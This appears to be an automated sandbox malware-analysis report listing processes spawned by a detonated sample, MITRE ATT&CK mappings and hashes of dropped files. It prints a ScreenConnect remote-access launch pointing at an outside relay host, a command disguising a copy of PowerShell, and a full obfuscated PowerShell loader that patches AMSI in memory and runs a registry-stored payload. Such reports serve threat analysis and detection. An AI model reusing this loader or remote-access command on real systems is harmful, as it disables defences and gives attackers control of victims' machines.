"C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=fnback9636.site&p=8041&s=7cd9dd8f-f539-46ea-8357-2ce9800b6239&k=BgIAAACkAABSU0ExAAgAAAEAAQA9jYIrttwwC%2fVG8pSgng7hOaOxKOcglvdFFtkWeOWtX8fqsZgIKfVrWuN3su1CgiFbvlCYAExDue6opAYsm4ZcU%2fXlAy9prKBw8dHgYIr5MKTVcZ179o9h8%2f%2bnJY4jOeDKVmcK57L%2fEAFTuKdJ4YjAwIneAffDLjer1Vf%2banxJ%2b%2fQG9GXKFTsCbQPC0DPoXGR4nhNlJsUIT37D9pxvtL82%2fbs5OFG6ebhQ2MBDFYY21oOxjFRMMIWi2Owda95WULvij7v9vchg4Zacetd90xJGtyFFMUL53dS%2fRJ%2bjUcnwVvLNyKx3HwIoiBSP6LM2Nm5EN5LWd0R%2b3hStk2Qltk%2bh"
1⤵
PID:7576
- C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\ScreenConnect.WindowsClient.exe" "RunRole" "4fa66a58-5c40-4484-91cc-70f86dc1f111" "User"
  2⤵
  PID:3576
- C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\ScreenConnect.WindowsClient.exe" "RunRole" "2518f98f-6ad6-4229-95d0-19263dc34c17" "System"
  2⤵
  PID:3724

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 672 -p 4144 -ip 4144
1⤵
PID:10180

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 672 -p 7956 -ip 7956
1⤵
PID:1992

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 6264 -ip 6264
1⤵
PID:6824

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 4144 -ip 4144
1⤵
PID:5220

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 4144 -ip 4144
1⤵
PID:5276

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 4144 -ip 4144
1⤵
PID:7500

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 5628 -ip 5628
1⤵
PID:4788

C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
1⤵
PID:10096

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 4144 -ip 4144
1⤵
PID:3308

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 7956 -ip 7956
1⤵
PID:9568

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 684 -p 4144 -ip 4144
1⤵
PID:9552

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 3368 -ip 3368
1⤵
PID:7412

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 3368 -ip 3368
1⤵
PID:2576

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 1776 -ip 1776
1⤵
PID:5484

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 3368 -ip 3368
1⤵
PID:10080

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 3368 -ip 3368
1⤵
PID:5424

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 3368 -ip 3368
1⤵
PID:10092

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 3368 -ip 3368
1⤵
PID:9820

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 3368 -ip 3368
1⤵
PID:5704

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:1060

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 3368 -ip 3368
1⤵
PID:5776

C:\Windows\system32\cmd.exe
cmd /c copy "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\Admin\AppData\Local\Temp\Updater.vbs.exe" /Y
1⤵
- Process spawned unexpected child process
PID:9212

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 3368 -ip 3368
1⤵
PID:8424

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 680 -p 3368 -ip 3368
1⤵
PID:10532

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 8724 -ip 8724
1⤵
PID:10588

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 676 -p 3368 -ip 3368
1⤵
PID:10336

C:\ProgramData\gaeucrwzinlx\bbwduuyjdzsp.exe
C:\ProgramData\gaeucrwzinlx\bbwduuyjdzsp.exe
1⤵
PID:10700
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:2812
- C:\Windows\system32\svchost.exe
  svchost.exe
  2⤵
  PID:1016

C:\Users\Admin\Desktop\Files\AA_v3.5.exe
"C:\Users\Admin\Desktop\Files\AA_v3.5.exe" -service -lunch
1⤵
PID:6500
- C:\Users\Admin\Desktop\Files\AA_v3.5.exe
  "C:\Users\Admin\Desktop\Files\AA_v3.5.exe"
  2⤵
  PID:580

C:\Users\Admin\AppData\Roaming\svchost.exe
C:\Users\Admin\AppData\Roaming\svchost.exe
1⤵
PID:11136

C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
1⤵
PID:11140

C:\Users\Admin\Windows.exe
C:\Users\Admin\Windows.exe
1⤵
PID:11148

C:\Users\Admin\AppData\Roaming\XClient.exe
C:\Users\Admin\AppData\Roaming\XClient.exe
1⤵
PID:11192

C:\Users\Admin\AppData\Local\Temp\b739b37d80\Dctooux.exe
C:\Users\Admin\AppData\Local\Temp\b739b37d80\Dctooux.exe
1⤵
PID:10664
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 10664 -s 472
  2⤵
  - Program crash
  PID:9540

C:\Users\Admin\AppData\Roaming\OneDrive.exe
C:\Users\Admin\AppData\Roaming\OneDrive.exe
1⤵
PID:11208

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 3368 -ip 3368
1⤵
PID:10716

C:\ProgramData\noigc\wttjqc.exe
C:\ProgramData\noigc\wttjqc.exe
1⤵
PID:10728

C:\Users\Admin\AppData\Local\Temp\69c36458f5\ednfosi.exe
C:\Users\Admin\AppData\Local\Temp\69c36458f5\ednfosi.exe
1⤵
PID:8424
- C:\Users\Admin\AppData\Local\Temp\69c36458f5\ednfosi.exe
  "C:\Users\Admin\AppData\Local\Temp\69c36458f5\ednfosi.exe"
  2⤵
  PID:11320

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 9860 -ip 9860
1⤵
PID:1752

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 10664 -ip 10664
1⤵
PID:5412

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 3368 -ip 3368
1⤵
PID:10540

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 696 -p 9464 -ip 9464
1⤵
PID:4692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:9620

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 696 -p 6200 -ip 6200
1⤵
PID:8588

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2656

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 672 -p 3368 -ip 3368
1⤵
PID:12076

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 672 -p 3368 -ip 3368
1⤵
PID:8928

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:UApQWvYNOLHk{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$WkkomDIkaeVyaT,[Parameter(Position=1)][Type]$VKPvLTWyQw)$UgGtEOZeeBD=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+'fl'+[Char](101)+'c'+[Char](116)+''+'e'+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+'t'+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+'M'+''+'e'+'m'+'o'+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+'u'+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+[Char](101)+'l'+[Char](101)+''+[Char](103)+''+[Char](97)+'t'+[Char](101)+'T'+[Char](121)+'p'+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+'i'+'c'+','+[Char](83)+'e'+[Char](97)+'l'+[Char](101)+''+'d'+''+','+''+'A'+'n'+[Char](115)+''+'i'+''+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+'A'+'u'+[Char](116)+'o'+'C'+''+'l'+''+'a'+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$UgGtEOZeeBD.DefineConstructor('R'+[Char](84)+'S'+[Char](112)+''+'e'+''+[Char](99)+'i'+'a'+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+'m'+''+[Char](101)+','+'H'+''+'i'+'de'+[Char](66)+'y'+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$WkkomDIkaeVyaT).SetImplementationFlags(''+'R'+''+[Char](117)+'n'+'t'+''+[Char](105)+'m'+'e'+''+[Char](44)+''+'M'+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+'d');$UgGtEOZeeBD.DefineMethod(''+'I'+''+'n'+'v'+'o'+''+[Char](107)+'e','P'+'u'+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+','+''+'H'+''+'i'+''+'d'+''+'e'+''+'B'+''+[Char](121)+'S'+[Char](105)+''+'g'+''+','+''+'N'+'ewS'+'l'+'ot'+[Char](44)+''+[Char](86)+''+'i'+''+[Char](114)+''+'t'+'ual',$VKPvLTWyQw,$WkkomDIkaeVyaT).SetImplementationFlags(''+[Char](82)+'unt'+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $UgGtEOZeeBD.CreateType();}$ZXtbOqJHVCqTU=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+'y'+'s'+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+'d'+''+[Char](108)+''+'l'+'')}).GetType(''+[Char](77)+'ic'+[Char](114)+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+'f'+''+[Char](116)+''+[Char](46)+'W'+'i'+'n3'+'2'+''+'.'+''+[Char](85)+''+[Char](110)+''+[Char](115)+''+'a'+'fe'+[Char](78)+''+[Char](97)+''+'t'+''+[Char](105)+''+'v'+''+'e'+''+'M'+''+[Char](101)+''+'t'+''+[Char](104)+''+'o'+'d'+[Char](115)+'');$yDXYmWAhyptegu=$ZXtbOqJHVCqTU.GetMethod(''+'G'+''+[Char](101)+'t'+'P'+'r'+[Char](111)+''+[Char](99)+''+[Char](65)+''+'d'+'d'+'r'+'e'+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+''+','+''+'S'+''+'t'+'at'+'i'+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$fmOUXjAhmFXQtZQkiOH=UApQWvYNOLHk @([String])([IntPtr]);$FDQXaYxXxDejFsXqLYjbDf=UApQWvYNOLHk @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$cfEcxzRUCWD=$ZXtbOqJHVCqTU.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+'o'+[Char](100)+''+[Char](117)+''+[Char](108)+'e'+[Char](72)+''+'a'+''+[Char](110)+''+[Char](100)+''+'l'+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+'n'+'e'+[Char](108)+'32'+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$oQlIPAYnZBSKyG=$yDXYmWAhyptegu.Invoke($Null,@([Object]$cfEcxzRUCWD,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+[Char](100)+''+[Char](76)+'i'+[Char](98)+''+[Char](114)+''+[Char](97)+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$CkgNhhycbpNIvfEuV=$yDXYmWAhyptegu.Invoke($Null,@([Object]$cfEcxzRUCWD,[Object](''+'V'+''+[Char](105)+''+[Char](114)+'t'+[Char](117)+'a'+[Char](108)+''+'P'+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+'t')));$CyUOcPJ=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($oQlIPAYnZBSKyG,$fmOUXjAhmFXQtZQkiOH).Invoke(''+'a'+''+[Char](109)+'s'+'i'+''+[Char](46)+''+'d'+''+[Char](108)+'l');$plooLZOLhzBifKDJf=$yDXYmWAhyptegu.Invoke($Null,@([Object]$CyUOcPJ,[Object]('A'+'m'+'si'+[Char](83)+''+'c'+''+[Char](97)+''+'n'+''+'B'+'uf'+[Char](102)+''+[Char](101)+''+'r'+'')));$fDQLYPqxqF=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CkgNhhycbpNIvfEuV,$FDQXaYxXxDejFsXqLYjbDf).Invoke($plooLZOLhzBifKDJf,[uint32]8,4,[ref]$fDQLYPqxqF);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$plooLZOLhzBifKDJf,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CkgNhhycbpNIvfEuV,$FDQXaYxXxDejFsXqLYjbDf).Invoke($plooLZOLhzBifKDJf,[uint32]8,0x20,[ref]$fDQLYPqxqF);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+'WA'+'R'+''+'E'+'').GetValue(''+[Char](36)+'7'+[Char](55)+''+[Char](115)+'ta'+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:12248

C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
1⤵
PID:9972

C:\Users\Admin\AppData\Local\Temp\b739b37d80\Dctooux.exe
C:\Users\Admin\AppData\Local\Temp\b739b37d80\Dctooux.exe
1⤵
PID:12156
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 12156 -s 472
  2⤵
  - Program crash
  PID:7900

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 728 -p 3368 -ip 3368
1⤵
PID:12440

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 712 -p 3368 -ip 3368
1⤵
PID:6400

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 12156 -ip 12156
1⤵
PID:12008

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 9768 -ip 9768
1⤵
PID:11472

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:13148

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 676 -p 3368 -ip 3368
1⤵
PID:6976

C:\ProgramData\ejrobxh\sspp.exe
C:\ProgramData\ejrobxh\sspp.exe
1⤵
PID:4952

C:\Users\Admin\AppData\Roaming\$77Security.exe
C:\Users\Admin\AppData\Roaming\$77Security.exe
1⤵
PID:8964

C:\Users\Admin\Windows.exe
C:\Users\Admin\Windows.exe
1⤵
PID:10924

C:\Users\Admin\AppData\Roaming\svchost.exe
C:\Users\Admin\AppData\Roaming\svchost.exe
1⤵
PID:12780

C:\Users\Admin\AppData\Roaming\XClient.exe
C:\Users\Admin\AppData\Roaming\XClient.exe
1⤵
PID:244

C:\Users\Admin\AppData\Local\Temp\b739b37d80\Dctooux.exe
C:\Users\Admin\AppData\Local\Temp\b739b37d80\Dctooux.exe
1⤵
PID:12412
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 12412 -s 472
  2⤵
  - Program crash
  PID:9876

C:\Users\Admin\AppData\Roaming\OneDrive.exe
C:\Users\Admin\AppData\Roaming\OneDrive.exe
1⤵
PID:9144

C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
1⤵
PID:4092

C:\Users\Admin\AppData\Local\Temp\69c36458f5\ednfosi.exe
C:\Users\Admin\AppData\Local\Temp\69c36458f5\ednfosi.exe
1⤵
PID:1744
- C:\Users\Admin\AppData\Local\Temp\69c36458f5\ednfosi.exe
  "C:\Users\Admin\AppData\Local\Temp\69c36458f5\ednfosi.exe"
  2⤵
  PID:1772

C:\Program Files\VideoLAN\VLC\conhost.exe
"C:\Program Files\VideoLAN\VLC\conhost.exe"
1⤵
PID:11380

C:\Users\Admin\AppData\Local\WahhVasyaa\88851n80.exe
C:\Users\Admin\AppData\Local\WahhVasyaa\88851n80.exe
1⤵
PID:6332

C:\Windows\memeem.exe
C:\Windows\memeem.exe
1⤵
PID:7876

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 760 -p 12412 -ip 12412
1⤵
PID:10356

C:\Windows\SysWOW64\werfault.exe
werfault.exe /h /shared Global\7aeb307da27b4c938d93848c1ffac270 /t 8060 /p 9776
1⤵
PID:11904

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 800 -p 6388 -ip 6388
1⤵
PID:11096

C:\Recovery\WindowsRE\4363463463464363463463463.exe
C:\Recovery\WindowsRE\4363463463464363463463463.exe
1⤵
PID:9724

C:\Program Files\Reference Assemblies\Microsoft\Framework\explorer.exe
"C:\Program Files\Reference Assemblies\Microsoft\Framework\explorer.exe"
1⤵
PID:11384

C:\Users\Admin\AppData\Local\Temp\b739b37d80\Dctooux.exe
C:\Users\Admin\AppData\Local\Temp\b739b37d80\Dctooux.exe
1⤵
PID:11160
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 11160 -s 472
  2⤵
  - Program crash
  PID:10588

C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
1⤵
PID:10164

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\chrome.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\chrome.exe"
1⤵
PID:10416

C:\ProgramData\ejrobxh\sspp.exe
C:\ProgramData\ejrobxh\sspp.exe
1⤵
PID:3272

C:\Users\Admin\AppData\Roaming\service.exe
C:\Users\Admin\AppData\Roaming\service.exe
1⤵
PID:11584

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 900 -p 12864 -ip 12864
1⤵
PID:13032

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 808 -p 11160 -ip 11160
1⤵
PID:10832

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Modify Authentication Process

T1556

Power Settings

T1653

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Access Token Manipulation

T1134

Create Process with Token

T1134.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Access Token Manipulation

T1134

Create Process with Token

T1134.002

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Network Share Connection Removal

T1070.005

Modify Authentication Process

T1556

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Network Service Discovery

T1046

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Archivos de programa\Unico - Ventas\ODBC_VEN.exe

Filesize
968KB

MD5
64e7c3e96a954a42bb5f29a0af1a6b3e

SHA1
38e4194c69b5b5f8bac1818f45d23b9465b220c9

SHA256
acda53d2a8f0d67a56e49b4f93d4f95e19e6ac7e35da9ba281314c67f4ef4671

SHA512
80fd63b8279dadd805a855d222d370698e2b0ba69f6d2f28c39ac0bc8b6191da05cc51ad174112628cc4e56b2a7e59d3cafc55361b77fa4c12dde33f88a6a551

Download Submit
C:\Archivos de programa\Unico - Ventas\odbc.ini

Filesize
234B

MD5
9ccfc58e3f9b3f7c1977a23d45598691

SHA1
938f692e7610cd25e7c8fcbc3813c2e766400df7

SHA256
55b82d79e9e84a44e4c917bc8efc180a47e4d30f53bc966648cd491c0b575c6e

SHA512
682d63eece6978df000feb2e5a1c60d0e42f1cbd19f06c3aa21323b91a758f05bd2c655e9aa49d9a5427346a3c16d7a6175195fc40f15b05d2dd231ada74b003

Download Submit
C:\Config.Msi\e64a7ea.rbs

Filesize
214KB

MD5
40296f65bae05987b84c53a3e3c525e5

SHA1
ae8f6f27aa40c7c1c01c45cdc2299580df2b5799

SHA256
26e331c8dff8ef3de222bcca1553589844e40243db54936c5c5ffb73a33a103b

SHA512
9883ce20efe3874ccd011dc2312072766b3628ce34abe6daa59edd2718723591f5e2b3e03c84cb5386990c799b4fd06b5cf4d861634f043c34d68783bc96b5c2

Download Submit
C:\Program Files\VideoLAN\VLC\conhost.exe

Filesize
1.5MB

MD5
8ebfb00f97e5120227605496dee1ba2d

SHA1
3c225ff088d0fde20c4f2908363909dcc8efdc8c

SHA256
72ac498f8d99dd2b4c4c4f68a2c709c97dd3f397ac02be6ad1b5b874450c146e

SHA512
d9e566c6ca2db028dce7a7ee068bddd86ad2def9a8fe222af4be72e8618f08423b8bd81a9f709bc86c161b63fc9bade35138386d8cc3411a8fe23c5a84ce9328

Download Submit
C:\ProgramData\CBGCBKFBGIII\AAEBAF

Filesize
171B

MD5
5c76d529171bd1e07e258d342ac7e59c

SHA1
9781c06569223e24614137e8914ea2cc85bd0fc6

SHA256
917d0908b4371943c4168344a36bd3f862685bc29450a18ea93acfb111dc9dec

SHA512
1461696e3a8d49a01412e43801ef4951b166347d847994180aa6c62ba6f5d7ff54e5f0e4dfb3b8d48b94388d3b5e0c68c928a6a53920cf41ea44279dc25f20b3

Download Submit
C:\ProgramData\CBGCBKFBGIII\HJECAA

Filesize
285B

MD5
242b66f61d075f06316774148ed7b361

SHA1
ee9f46a214cf07be556f91ae755ed3f0d69e0878

SHA256
e5f6ed0c70d8e2e172f0decd93ceec55341dc6d0dc910308129f364645f64180

SHA512
6e768f12ed74f033fac710172f97ba147ece7452b5b14f279b7a434c63c31be79f5f2bb10815c7f47dd74b8b462e9b70b50b9f58cb45063aec54d66adc0d2649

Download Submit
C:\ProgramData\GDHDHJEBGHJKFIECBGCBGCAFII

Filesize
512KB

MD5
b67b1b4d4369b72d4c251b0d0b6ee3a9

SHA1
e76876b9d5835802f8961fb79aaf5bb395d1520e

SHA256
72eef9e8ef5f9e5e1cb7c8869846e005bbeea66ffb8e25689e1e9569b6818f1a

SHA512
7984ef242144cbbc35241e12c06e47b2899da034626fb0dcc489fa8b14d5b1fe3b1b737c6fdbdf85919ce359dadd35d69f85e807b02017111b67757e035b85c4

Download Submit
C:\ProgramData\chrome.dll

Filesize
676KB

MD5
eda18948a989176f4eebb175ce806255

SHA1
ff22a3d5f5fb705137f233c36622c79eab995897

SHA256
81a4f37c5495800b7cc46aea6535d9180dadb5c151db6f1fd1968d1cd8c1eeb4

SHA512
160ed9990c37a4753fc0f5111c94414568654afbedc05308308197df2a99594f2d5d8fe511fd2279543a869ed20248e603d88a0b9b8fb119e8e6131b0c52ff85

Download Submit
C:\ProgramData\mozglue.dll

Filesize
593KB

MD5
c8fd9be83bc728cc04beffafc2907fe9

SHA1
95ab9f701e0024cedfbd312bcfe4e726744c4f2e

SHA256
ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

SHA512
fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

Download Submit
C:\ProgramData\nss3.dll

Filesize
2.0MB

MD5
1cc453cdf74f31e4d913ff9c10acdde2

SHA1
6e85eae544d6e965f15fa5c39700fa7202f3aafe

SHA256
ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

SHA512
dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

Download Submit
C:\Users\Admin\AppData\Local\D3DSCache\cb00da9ba77862e\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx

Filesize
64KB

MD5
b5ad5caaaee00cb8cf445427975ae66c

SHA1
dcde6527290a326e048f9c3a85280d3fa71e1e22

SHA256
b6409b9d55ce242ff022f7a2d86ae8eff873daabf3a0506031712b8baa6197b8

SHA512
92f7fbbcbbea769b1af6dd7e75577be3eb8bb4a4a6f8a9288d6da4014e1ea309ee649a7b089be09ba27866e175ab6f6a912413256d7e13eaf60f6f30e492ce7f

Download Submit
C:\Users\Admin\AppData\Local\D3DSCache\cb00da9ba77862e\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock

Filesize
4B

MD5
f49655f856acb8884cc0ace29216f511

SHA1
cb0f1f87ec0455ec349aaa950c600475ac7b7b6b

SHA256
7852fce59c67ddf1d6b8b997eaa1adfac004a9f3a91c37295de9223674011fba

SHA512
